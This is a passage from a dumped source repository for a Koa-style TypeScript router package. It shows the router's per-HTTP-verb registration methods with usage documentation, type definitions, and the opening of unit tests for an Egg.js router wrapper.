pathOrMiddleware === 'string' || pathOrMiddleware instanceof RegExp) {\n      // verb(method, name, path, ...middlewares)\n      path = pathOrMiddleware;\n      assert(typeof nameOrPath === 'string', 'route name should be string');\n      options.name = nameOrPath;\n    } else if (Array.isArray(pathOrMiddleware)) {\n      // verb(method, name, paths, ...middlewares)\n      path = pathOrMiddleware;\n      assert(typeof nameOrPath === 'string', 'route name should be string');\n      options.name = nameOrPath;\n    } else {\n      // verb(method, path, ...middlewares)\n      path = nameOrPath;\n      middlewares = [pathOrMiddleware, ...middlewares];\n    }\n    return {\n      path,\n      middlewares,\n      options,\n    };\n  }\n\n  /**\n   * Create `router.verb()` methods, where *verb* is one of the HTTP verbs such\n   * as `router.get()` or `router.post()`.\n   *\n   * Match URL patterns to callback functions or controller actions using `router.verb()`,\n   * where **verb** is one of the HTTP verbs such as `router.get()` or `router.post()`.\n   *\n   * Additionally, `router.all()` can be used to match against all methods.\n   *\n   * ```javascript\n   * router\n   *   .get('/', (ctx, next) => {\n   *     ctx.body = 'Hello World!';\n   *   })\n   *   .post('/users', (ctx, next) => {\n   *     // ...\n   *   })\n   *   .put('/users/:id', (ctx, next) => {\n   *     // ...\n   *   })\n   *   .del('/users/:id', (ctx, next) => {\n   *     // ...\n   *   })\n   *   .all('/users/:id', (ctx, next) => {\n   *     // ...\n   *   });\n   * ```\n   *\n   * When a route is matched, its path is available at `ctx._matchedRoute` and if named,\n   * the name is available at `ctx._matchedRouteName`\n   *\n   * Route paths will be translated to regular expressions using\n   * [path-to-regexp](https://github.com/pillarjs/path-to-regexp).\n   *\n   * Query strings will not be considered when matching requests.\n   *\n   * #### Named routes\n   *\n   * Routes can optionally have names. This allows generation of URLs and easy\n   * renaming of URLs during development.\n   *\n   * ```javascript\n   * router.get('user', '/users/:id', (ctx, next) => {\n   *  // ...\n   * });\n   *\n   * router.url('user', 3);\n   * // => \"/users/3\"\n   * ```\n   *\n   * #### Multiple middleware\n   *\n   * Multiple middleware may be given:\n   *\n   * ```javascript\n   * router.get(\n   *   '/users/:id',\n   *   (ctx, next) => {\n   *     return User.findOne(ctx.params.id).then(function(user) {\n   *       ctx.user = user;\n   *       next();\n   *     });\n   *   },\n   *   ctx => {\n   *     console.log(ctx.user);\n   *     // => { id: 17, name: \"Alex\" }\n   *   }\n   * );\n   * ```\n   *\n   * ### Nested routers\n   *\n   * Nesting routers is supported:\n   *\n   * ```javascript\n   * var forums = new Router();\n   * var posts = new Router();\n   *\n   * posts.get('/', (ctx, next) => {...});\n   * posts.get('/:pid', (ctx, next) => {...});\n   * forums.use('/forums/:fid/posts', posts.routes(), posts.allowedMethods());\n   *\n   * // responds to \"/forums/123/posts\" and \"/forums/123/posts/123\"\n   * app.use(forums.routes());\n   * ```\n   *\n   * #### Router prefixes\n   *\n   * Route paths can be prefixed at the router level:\n   *\n   * ```javascript\n   * var router = new Router({\n   *   prefix: '/users'\n   * });\n   *\n   * router.get('/', ...); // responds to \"/users\"\n   * router.get('/:id', ...); // responds to \"/users/:id\"\n   * ```\n   *\n   * #### URL parameters\n   *\n   * Named route parameters are captured and added to `ctx.params`.\n   *\n   * ```javascript\n   * router.get('/:category/:title', (ctx, next) => {\n   *   console.log(ctx.params);\n   *   // => { category: 'programming', title: 'how-to-node' }\n   * });\n   * ```\n   *\n   * The [path-to-regexp](https://github.com/pillarjs/path-to-regexp) module is\n   * used to convert paths to regular expressions.\n   *\n   */\n  verb(\n    method: string | string[],\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middleware: MiddlewareFunc[]\n  ): Router {\n    const { options, path, middlewares } = this._formatRouteParams(nameOrPath, pathOrMiddleware, middleware);\n    if (typeof method === 'string') {\n      method = [method];\n    }\n    this.register(path, method, middlewares as MiddlewareFunc[], options);\n    return this;\n  }\n\n  /**\n   * Register route with all methods.\n   *\n   * @param {String} name Optional.\n   * @param {String} path path string\n   * @param {Function=} middleware You may also pass multiple middleware.\n   * @return {Router} router instance\n   * @private\n   */\n  all(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  all(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  all(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb(methods, nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  // \"acl\", \"bind\", \"checkout\", \"connect\", \"copy\", \"delete\", \"get\", \"head\", \"link\", \"lock\",\n  // \"m-search\", \"merge\", \"mkactivity\", \"mkcalendar\", \"mkcol\", \"move\", \"notify\", \"options\",\n  // \"patch\", \"post\", \"propfind\", \"proppatch\", \"purge\", \"put\", \"rebind\", \"report\", \"search\",\n  // \"source\", \"subscribe\", \"trace\", \"unbind\", \"unlink\", \"unlock\", \"unsubscribe\"\n  acl(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  acl(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  acl(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('acl', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  bind(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  bind(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  bind(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('bind', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  checkout(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  checkout(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  checkout(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('checkout', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  connect(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  connect(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  connect(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('connect', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  copy(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  copy(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  copy(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('copy', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  delete(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  delete(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  delete(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('delete', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  /** Alias for `router.delete()` because delete is a reserved word */\n  del(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  del(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  del(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('delete', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  get(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  get(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  get(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('get', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  query(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  query(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  query(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('query', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  head(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  head(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  head(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('head', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  link(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  link(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  link(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('link', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  lock(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  lock(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  lock(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('lock', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  ['m-search'](path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  ['m-search'](name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  ['m-search'](\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('m-search', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  merge(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  merge(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  merge(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('merge', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  mkactivity(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  mkactivity(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  mkactivity(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('mkactivity', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  mkcalendar(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  mkcalendar(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  mkcalendar(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('mkcalendar', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  mkcol(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  mkcol(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  mkcol(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('mkcol', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  move(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  move(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  move(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('move', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  notify(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  notify(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  notify(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('notify', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  options(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  options(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  options(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('options', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  patch(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  patch(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  patch(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('patch', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  post(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  post(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  post(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('post', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  propfind(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  propfind(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  propfind(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('propfind', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  proppatch(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  proppatch(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  proppatch(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('proppatch', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  purge(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  purge(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  purge(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('purge', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  put(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  put(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  put(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('put', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  rebind(path: string | RegExp, ...middlewares: MiddlewareFunc[]): Router;\n  rebind(name: string, path: string | RegExp, ...middlewares: MiddlewareFunc[]): Router;\n  rebind(\n    nameOrPath: string | RegExp,\n    pathOrMiddleware: string | RegExp | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('rebind', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  report(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  report(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  report(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('report', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  search(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  search(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  search(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('search', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  source(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  source(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  source(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('source', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  subscribe(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  subscribe(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  subscribe(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('subscribe', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  trace(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  trace(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  trace(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('trace', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  unbind(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  unbind(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  unbind(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('unbind', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  unlink(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  unlink(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  unlink(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('unlink', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  unlock(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  unlock(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  unlock(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('unlock', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n\n  unsubscribe(path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  unsubscribe(name: string, path: string | RegExp | (string | RegExp)[], ...middlewares: MiddlewareFunc[]): Router;\n  unsubscribe(\n    nameOrPath: string | RegExp | (string | RegExp)[],\n    pathOrMiddleware: string | RegExp | (string | RegExp)[] | MiddlewareFunc,\n    ...middlewares: MiddlewareFunc[]\n  ): Router {\n    return this.verb('unsubscribe', nameOrPath, pathOrMiddleware, ...middlewares);\n  }\n}\n"
  },
  {
    "path": "packages/router/src/index.ts",
    "content": "import { Router } from './Router.ts';\n\nexport type * from './types.ts';\nexport * from './Layer.ts';\nexport * from './Router.ts';\nexport * from './EggRouter.ts';\n\nexport const KoaRouter: typeof Router = Router;\nexport default Router;\n"
  },
  {
    "path": "packages/router/src/types.ts",
    "content": "export type Next = () => Promise<void>;\nexport type MiddlewareFunc = (ctx: any, next: Next) => Promise<void> | void;\nexport type MiddlewareFuncWithParamProperty = MiddlewareFunc & {\n  param?: string;\n};\nexport type ParamMiddlewareFunc = (param: string, ctx: any, next: Next) => Promise<void> | void;\nexport type MiddlewareFuncWithRouter<T> = MiddlewareFunc & { router: T };\n\nexport interface ResourcesController {\n  index?: MiddlewareFunc;\n  new?: MiddlewareFunc;\n  create?: MiddlewareFunc;\n  show?: MiddlewareFunc;\n  edit?: MiddlewareFunc;\n  update?: MiddlewareFunc;\n  destroy?: MiddlewareFunc;\n}\n"
  },
  {
    "path": "packages/router/test/EggRouter.test.ts",
    "content": "import { Application } from '@eggjs/koa';\nimport request from '@eggjs/supertest';\nimport is from 'is-type-of';\nimport { describe, it, expect } from 'vitest';\n\nimport { EggRouter } from '../src/index.ts';\n\ndescribe('test/EggRouter.test.ts', () => {\n  it('auto bind ctx to this on controller', async () => {\n    const app = new Application();\n    const router = new EggRouter({}, app as any);\n    router.get('home', '/', function (this: any) {\n      this.body = {\n        url: this.router.url('home'),\n        method: this.method,\n      };\n    });\n    app.use(router.routes());\n    const res = await request(app.callback()).get('/').expect(200);\n    expect(res.body.url).toBe('/');\n    expect(res.body.method).toBe('GET');\n  });\n\n  it('creates new router with egg app', () => {\n    const app = { controller: {} };\n    const router = new EggRouter({}, app);\n    expect(router).toBeDefined();\n    ['head', 'options', 'get', 'put', 'patch', 'post', 'delete', 'all', 'resources'].forEach((method) => {\n      expect(Reflect.get(router, method)).toBeInstanceOf(Function);\n    });\n  });\n\n  it('should throw error on generator function', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          *world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    router.get('/foo', app.controller.foo);\n    expect(() => {\n      router.post('/hello/world', app.controller.hello.world as any);\n    }).toThrow(/post `\\/hello\\/world`: Please use async function instead of generator function/);\n  });\n\n  it('should app.verb(url, controller) work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    router.get('/foo', app.controller.foo);\n    router.post('/hello/world', app.controller.hello.world);\n\n    expect(router.stack[0].path).toBe('/foo');\n    expect(router.stack[0].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[0].stack.length).toBe(1);\n    expect(router.stack[1].path).toBe('/hello/world');\n    expect(router.stack[1].methods).toEqual(['POST']);\n    expect(router.stack[1].stack.length).toBe(1);\n\n    router.head('/foo-head', app.controller.foo);\n    router.options('/foo-options', app.controller.foo);\n    router.put('/foo-put', app.controller.foo);\n    router.patch('/foo-patch', app.controller.foo);\n    router.delete('/foo-delete', app.controller.foo);\n    router.all('/foo-all', app.controller.foo);\n  });\n\n  it('should app.verb([url1, url2], controller) work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    router.get(['/foo', '/bar'], app.controller.foo);\n    router.post('/hello/world', app.controller.hello.world);\n\n    expect(router.stack[0].path).toBe('/foo');\n    expect(router.stack[0].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[0].stack.length).toBe(1);\n    expect(router.stack[1].path).toBe('/bar');\n    expect(router.stack[1].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[2].stack.length).toBe(1);\n    expect(router.stack[2].path).toBe('/hello/world');\n    expect(router.stack[2].methods).toEqual(['POST']);\n    expect(router.stack[2].stack.length).toBe(1);\n  });\n\n  it('should app.verb(name, url, controller) work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    router.get('foo', '/foo', app.controller.foo);\n    router.post('hello', '/hello/world', app.controller.hello.world);\n\n    expect(router.stack[0].name).toBe('foo');\n    expect(router.stack[0].path).toBe('/foo');\n    expect(router.stack[0].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[0].stack.length).toBe(1);\n    expect(router.stack[1].name).toBe('hello');\n    expect(router.stack[1].path).toBe('/hello/world');\n    expect(router.stack[1].methods).toEqual(['POST']);\n    expect(router.stack[1].stack.length).toBe(1);\n  });\n\n  it('should app.verb(name, url, controllerString) work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    router.get('foo', '/foo', 'foo');\n    router.post('hello', '/hello/world', 'hello.world');\n\n    expect(router.stack[0].name).toBe('foo');\n    expect(router.stack[0].path).toBe('/foo');\n    expect(router.stack[0].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[0].stack.length).toBe(1);\n    expect(router.stack[1].name).toBe('hello');\n    expect(router.stack[1].path).toBe('/hello/world');\n    expect(router.stack[1].methods).toEqual(['POST']);\n    expect(router.stack[1].stack.length).toBe(1);\n  });\n\n  it('should app.verb(url, controllerString) work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    router.get('/foo', 'foo');\n    router.post('/hello/world', 'hello.world');\n\n    expect(router.stack[0].name).toBe('foo');\n    expect(router.stack[0].path).toBe('/foo');\n    expect(router.stack[0].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[0].stack.length).toBe(1);\n    expect(router.stack[1].name).toBe('hello.world');\n    expect(router.stack[1].path).toBe('/hello/world');\n    expect(router.stack[1].methods).toEqual(['POST']);\n    expect(router.stack[1].stack.length).toBe(1);\n  });\n\n  it('should app.verb(urls, controllerString) work', () => {\n    const app = {\n      controller: {\n        async foo() {\n          return;\n        },\n        hello: {\n          world() {\n            return;\n          },\n        },\n      },\n    };\n\n    const router = new EggRouter({}, app);\n    router.get(['/foo', '/bar'], 'foo');\n    router.post('/hello/world', 'hello.world');\n    router.put('other', ['/other1', '/other2'], 'foo');\n\n    expect(router.stack[0].name).toBe('foo');\n    expect(router.stack[0].path).toBe('/foo');\n    expect(router.stack[0].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[0].stack.length).toBe(1);\n    expect(router.stack[1].name).toBe('foo');\n    expect(router.stack[1].path).toBe('/bar');\n    expect(router.stack[1].methods).toEqual(['HEAD', 'GET']);\n    expect(router.stack[1].stack.length).toBe(1);\n    expect(router.stack[2].name).toBe('hello.world');\n    expect(router.stack[2].path).toBe('/hello/world');\n    expect(router.stack[2].methods).toEqual(['POST']);\n    expect(router.stack[2].stack.length).toBe(1);\n\n    expect(router.stack[3].name).toBe('other');\n    expect(router.stack[3].path).toBe('/other1');\n    expect(router.stack[3].methods).toEqual(['PUT']);\n    expect(router.stack[3].stack.length).toBe(1);\n    